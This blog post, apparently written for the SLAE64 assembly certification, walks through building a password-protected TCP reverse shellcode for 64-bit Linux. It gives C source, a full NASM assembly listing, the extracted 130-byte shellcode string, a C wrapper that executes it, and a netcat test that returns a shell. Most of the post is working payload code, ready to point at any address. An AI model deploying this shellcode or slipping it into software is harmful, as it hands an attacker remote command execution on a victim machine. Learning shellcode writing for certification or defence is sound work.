This blog post describes manual creating of password protected TCP reverse shellcode on Intel 64-bit architecture and Linux platform. If you have already read previous blog post how to create bind shell you will find this post very easy to follow as the progress is almost the same.
We will start with following C code.
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <string.h>
int main()
{
// 1. Create socket
int connect_socket_fd = socket(AF_INET, SOCK_STREAM, 0);
// 2. Connect socket to remote port and address
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(5050);
addr.sin_addr.s_addr = inet_addr("127.1.1.1");
connect(connect_socket_fd, (struct sockaddr *)&addr, sizeof(addr));
// 3. Duplicate stdin, stdout and stderr file descriptors
dup2(connect_socket_fd, STDIN_FILENO);
dup2(connect_socket_fd, STDOUT_FILENO);
dup2(connect_socket_fd, STDERR_FILENO);
// 4. Check password
char buf[16];
char password[] = "somesecret";
read(connected_socket_fd, buf, 16);
buf[strcspn(buf, "\n")] = 0;
if (strcmp(password, buf) == 0)
{
// 5. Spawn shell
execve("/bin/sh", NULL, NULL);
}
}Difference between bind and reverse shell mechanism is that in reverse shell implementation we do NOT:
- bind() the socket
- set socket into listening mode
- set up listening socket with the accept() call
We do connect() the socket directly to target IP and port.
Reverse shell C code analysis
- Call to socket() creates a connection socket(1) and returns file descriptor(2) which identifies this socket later on. First argument selects the protocol family which will be used for communication – AF_INET stands for IPv4 Internet Protocols. Second argument specifies the communication semantics – SOCK_STREAM is full-duplex byte stream supported by AF_INET family. Third argument is specific protocol defined in /etc/protocols.
- Call to connect() initiates a connection on a socket. First argument is file descriptor from socket() call. Second argument is structure with protocol family, port and IP. Note that port and IP are converted into network byte order (big-endian). IP mustn’t contain any zeros otherwise we will end up with null bytes in the shellcode! Third argument is just size of sockaddr_in structure in bytes.
- dup2() call binds current process’ stdin, stdout, stderr file descriptors with connected socket file descriptor hence any data from outside coming into connected socket are treated as stdin. Similarly any data generated by current process which would go to stdout or stderr go out to the connected socket.
- 16 bytes are allocated for incoming data (password). Valid password is hardcoded into password variable. read() call waits for incoming data on given socket. Data received are saved into buf and compared to password string.
- After successful comparison in strcmp() the call to execve() system call spawns shell in current process. First argument is path to executable. Second argument points to executable arguments and third argument points to environment variables.
Converting C to Assembly
C code must be rewritten by means of pure system calls(3) so let’s translate functions in the C code into system calls. Before we do so it will be convenient to figure out values and sizes of variables used in C code. We can inspect header files or documentation but I will use C code to print out all needed values and sizes.
// File: printVariables.c
// Author: Petr Javorik
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <string.h>
int main()
{
printf("AF_INET= 0x%1$x (%1$d)\n", AF_INET);
printf("SOCK_STREAM= 0x%1$x (%1$d)\n", SOCK_STREAM);
printf("STDIN_FILENO= 0x%1$x (%1$d)\n", STDIN_FILENO);
printf("STDOUT_FILENO= 0x%1$x (%1$d)\n", STDOUT_FILENO);
printf("STDERR_FILENO= 0x%1$x (%1$d)\n", STDERR_FILENO);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(5050);
addr.sin_addr.s_addr = inet_addr("127.1.1.1");
printf("sizeof(sockaddr_in)= 0x%1$zx (%1$zd)\n", sizeof(addr));
printf("sizeof(addr.sin_family)= 0x%1$zx (%1$zd)\n", sizeof(addr.sin_family));
printf("sizeof(addr.sin_port)= 0x%1$zx (%1$zd)\n", sizeof(addr.sin_port));
printf("sizeof(addr.sin_addr.s_addr)= 0x%1$zx (%1$zd)\n", sizeof(addr.sin_addr.s_addr));
}Compiling and running this code we get
$ gcc -o printVariables printVariables.c && ./printVariables
AF_INET= 0x2 (2)
SOCK_STREAM= 0x1 (1)
STDIN_FILENO= 0x0 (0)
STDOUT_FILENO= 0x1 (1)
STDERR_FILENO= 0x2 (2)
sizeof(sockaddr_in)= 0x10 (16)
sizeof(addr.sin_family)= 0x2 (2)
sizeof(addr.sin_port)= 0x2 (2)
sizeof(addr.sin_addr.s_addr)= 0x4 (4)
Now we can proceed to converting C code to assembly step by step.
// 1. Create socket
int connect_socket_fd = socket(AF_INET, SOCK_STREAM, 0);
AF_INET and SOCK_STREAM values are already known. Good news – unlike on x86 Linux platform the x64 Linux kernel offers call to socket() directly so we don’t have to juggle with socketcall() kernel function. From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get
define __NR_socket 41
We have all needed values which need to be stuffed into registers.
global _start
section .text
_start:
jmp short real_start
pwd: db "somepass" ; strictly 8 bytes
real_start:
; Prepare NULL for later use
xor r9, r9
; // 1. Create socket
; int socket(int domain, int type, int protocol);
; int socket(AF_INET, SOCK_STREAM, 0);
; int socket(2, 1, 0);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 41
pop rax ; syscall number
push 2
pop rdi ; AF_INET = 2
push 1
pop rsi ; SOCK_STREAM = 1
imul rdx, r9 ; protocol = 0
syscall ; invoke system call
mov rdi, rax ; save file descriptor for later use
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = fd number
; RDX = 0
; RDI = fd number
; RSI = 1
; R9 = 0// 2. Connect socket to remote port and address
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(5050);
addr.sin_addr.s_addr = inet_addr("127.1.1.1");
connect(connect_socket_fd, (struct sockaddr *)&addr, sizeof(addr));
htons() converts byte order of a number to network byte order which is in big-endian format. So 5050 is 0x13BA in little-endian and 0xBA13 in big-endian.
inet_addr() converts IP address to network byte order. So we have 127.1.1.1 = 0x7f010101 which in network byte order gives 0x0101017f
From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get
define __NR_connect 42
Assembly for // 2. Connect socket to remote port and address block can be rewritten as follows
; // 2. Connect socket to remote port and address
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; int connect(RDI, {2, 0xba13, 0x0101017f}, 16);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 42
pop rax ; syscall number
; fd number already set in RDI
push r9 ; (addr struct) 8 bytes zero padding
push 0x0101017f ; (addr.sin_addr.s_addr,4 bytes) push 0x0101017f
push word 0xba13 ; (addr.sin_port, 2 bytes) push htons(5050)
push word 2 ; (addr.sin_family, 2 bytes) push AF_INET
mov rsi, rsp ; RSI points to addr struct
add rdx, 16 ; RDX contains sizeof(addr)
syscall ; invoke system call
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = 0 | -1 (success | error)
; RDX = 16
; RDI = fd number
; RSI = addr struct
; R9 = 0// 3. Duplicate stdin, stdout and stderr file descriptors
dup2(connect_socket_fd, STDIN_FILENO);
dup2(connect_socket_fd, STDOUT_FILENO);
dup2(connect_socket_fd, STDERR_FILENO);
From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get
define __NR_dup2 33
Assembly for // 3. Duplicate stdin, stdout and stderr file descriptors block can be rewritten as follows:
; // 3. Duplicate stdin, stdout and stderr file descriptors
; int dup2(int oldfd, int newfd);
; int dup2(RDI, 2);
; int dup2(RDI, 1);
; int dup2(RDI, 0);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 2
pop rsi ; counter and newfd argument at once
loop:
push 33
pop rax ; syscall number
syscall
dec rsi ; next fd number
jns loop ; jmp to loop if rsi >= 0, jump not sign
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = 0
; RDI = new fd number
; RSI = -1
; RDX = 0// 4. Check password
char buf[16];
char password[] = "somesecret";
read(connected_socket_fd, buf, 16);
buf[strcspn(buf, "\n")] = 0;
if (strcmp(password, buf) == 0)
{
…
}
This C stub consists of following operations:
- save password “somesecret” into process memory (see step 1)
- save data passed by remote client into the stack
- compare these two strings
From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get
define __NR_read 0
Assembly for // 4. Check password block can be rewritten as follows:
; // 4. Check password
; ssize_t read(int fd, void *buf, size_t count);
; ssize_t read(RDI, RSP, 8);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; read
; RDX already set to syscall number 0
; RDI already set
push r9 ; reserve 8 null bytes in stack
mov rsi, rsp ; point rsi to buffer in stack
add rdx, 8 ; read 8 bytes
syscall
; compare
mov rax, [rel pwd] ; load password into RAX
mov rdi, rsi ; point RDI to data from client
scasq ; compare RAX and [RDI]
jne exit ; skip spawning shell if strings don't match
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = password string from .text memory
; RDI = RSI+8
; RSI = address of passed password
; RDX = 8
...
...
...
; jump here if wrong password
; this stub is located at the end of the file
exit:
; void exit(int status);
push 60
pop rax
syscall// 5. Spawn shell
execve("/bin/sh", NULL, NULL);
We will execute /bin/sh via stack technique. From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get
define __NR_execve 59
Assembly for // 5. Spawn shell block can be rewritten as follows:
; // 7. Spawn shell
; int execve(const char *filename, char *const argv[], char *const envp[]);
; int execve( // system call number 59 -> RAX = 59
; const char *filename, // RDI points to "/bin/bash" terminated by NULL
; char *const argv[], // RSI points to "/bin/bash" address terminated by NULL
; char *const envp[] // RDX contains NULL
; );
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push r9 ; First NULL push
mov rbx, 0x68732f2f6e69622f ; >>> '/bin//sh'[::-1].encode('hex')
push rbx
mov rdi, rsp ; store /bin//sh address in RDI
push r9 ; Second NULL push
mov rdx, rsp ; set RDX
push rdi ; Push address of /bin//sh
mov rsi, rsp ; set RSI
push 59 ; syscall number
pop rax
syscall ; Call the Execve syscall
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;Final assembly code
; File: revshell.nasm
; Author: Petr Javorik
; Size: 130 bytes
; 8 byte password
global _start
section .text
_start:
jmp short real_start
pwd: db "somepass" ; strictly 8 bytes
real_start:
; Prepare NULL for later use
xor r9, r9
; // 1. Create socket
; int socket(int domain, int type, int protocol);
; int socket(AF_INET, SOCK_STREAM, 0);
; int socket(2, 1, 0);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 41
pop rax ; syscall number
push 2
pop rdi ; AF_INET = 2
push 1
pop rsi ; SOCK_STREAM = 1
imul rdx, r9 ; protocol = 0
syscall ; invoke system call
mov rdi, rax ; save file descriptor for later use
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = fd number
; RDX = 0
; RDI = fd number
; RSI = 1
; R9 = 0
; // 2. Connect socket to remote port and address
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; int connect(RDI, {2, 0xba13, 0x0101017f}, 16);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 42
pop rax ; syscall number
; fd number already set in RDI
push r9 ; (addr struct) 8 bytes zero padding
push 0x0101017f ; (addr.sin_addr.s_addr,4 bytes) push 0x0101017f
push word 0xba13 ; (addr.sin_port, 2 bytes) push htons(5050)
push word 2 ; (addr.sin_family, 2 bytes) push AF_INET
mov rsi, rsp ; RSI points to addr struct
add rdx, 16 ; RDX contains sizeof(addr)
syscall ; invoke system call
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = 0 | -1 (success | error)
; RDX = 16
; RDI = fd number
; RSI = addr struct
; R9 = 0
; // 3. Duplicate stdin, stdout and stderr file descriptors
; int dup2(int oldfd, int newfd);
; int dup2(RDI, 2);
; int dup2(RDI, 1);
; int dup2(RDI, 0);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 2
pop rsi ; counter and newfd argument at once
loop:
push 33
pop rax ; syscall number
syscall
dec rsi ; next fd number
jns loop ; jmp to loop if rsi >= 0, jump not sign
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = 0
; RDI = new fd number
; RSI = -1
; RDX = 0
; // 4. Check password
; ssize_t read(int fd, void *buf, size_t count);
; ssize_t read(RDI, RSP, 8);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; read
; RDX already set to syscall number 0
; RDI already set
push r9 ; reserve 8 null bytes in stack
mov rsi, rsp ; point rsi to buffer in stack
add rdx, 8 ; read 8 bytes
syscall
; compare
mov rax, [rel pwd] ; load password into RAX
mov rdi, rsi ; point RDI to data from client
scasq ; compare RAX and [RDI]
jne exit ; skip spawning shell if strings don't match
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = password string from .text memory
; RDI = RSI+8
; RSI = address of passed password
; RDX = 8
; // 7. Spawn shell
; int execve(const char *filename, char *const argv[], char *const envp[]);
; int execve( // system call number 59 -> RAX = 59
; const char *filename, // RDI points to "/bin/bash" terminated by NULL
; char *const argv[], // RSI points to "/bin/bash" address terminated by NULL
; char *const envp[] // RDX contains NULL
; );
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push r9 ; First NULL push
mov rbx, 0x68732f2f6e69622f ; >>> '/bin//sh'[::-1].encode('hex')
push rbx
mov rdi, rsp ; store /bin//sh address in RDI
push r9 ; Second NULL push
mov rdx, rsp ; set RDX
push rdi ; Push address of /bin//sh
mov rsi, rsp ; set RSI
push 59 ; syscall number
pop rax
syscall ; Call the Execve syscall
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; jump here if wrong password
exit:
; void exit(int status);
push 60
pop rax
syscallCompiling and testing assembly code
Compile .nasm file into object file(4)
$ nasm -f elf64 -o revshell.o revshell.nasm
Create binary file from object file
$ ld -o revshell revshell.o
Check for null bytes(5)
$ objdump -M intel -d revshell | grep " 00"
Extract shellcode from binary
$ for i in $(objdump -d revshell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
We got 130 bytes shellcode. Let’s insert extracted shellcode into testing C wrapper
// shellcode.c
// Shellcode testing wrapper
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x08\x73\x6f\x6d\x65\x70\x61\x73\x73\x4d\x31\xc9\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x49\x0f\xaf\xd1\x0f\x05\x48\x89\xc7\x6a\x2a\x58\x41\x51\x68\x7f\x01\x01\x01\x66\x68\x13\xba\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x41\x51\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x8b\x05\xaa\xff\xff\xff\x48\x89\xf7\x48\xaf\x75\x1e\x41\x51\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05";
main()
{
printf("Shellcode Length: %zd\n", strlen(code));
int (*CodeFun)() = (int(*)())code;
CodeFun();
}Compile testing C code without buffer overflow stack protection and allow executable stack with -z flag which is passed to the linker
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
Executing shellcode we get password protected reverse shell on port 5050 and IP 127.1.1.1
$ nc -l 127.1.1.1 5050
...
somepass
whoami
maple
$ ./shellcode
Shellcode Length: 130(1) A socket is a pseudo-file that represents a network connection. Once a socket has been created and configured – writes to the socket are turned into network packets that get sent out or data received from the network can be read from the socket.
(2) In Unix and related computer operating systems, a file descriptor is an abstract indicator (handle) used to access a file or other input/output resource, such as a pipe or network socket. Each Unix process (except perhaps a daemon) should expect to have three standard POSIX file descriptors, corresponding to the three standard streams: stdin, stdout, stderr.
(3) The system call is the fundamental interface between an application and the Linux kernel.
(4) Object file contains low level instructions which can be understood by the CPU. That is why it is also called machine code. This low level machine code is the binary representation of the instructions so it can be disassembled by objectdump. Object file is not directly executable.
(5) Shellcode must be free of null bytes because they are used as C string terminators in many C functions. Leaving null bytes in shellcode can lead to undefined shellcode behaviour and hard-to-find bugs.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Github code
Student ID: SLAE64 – 1629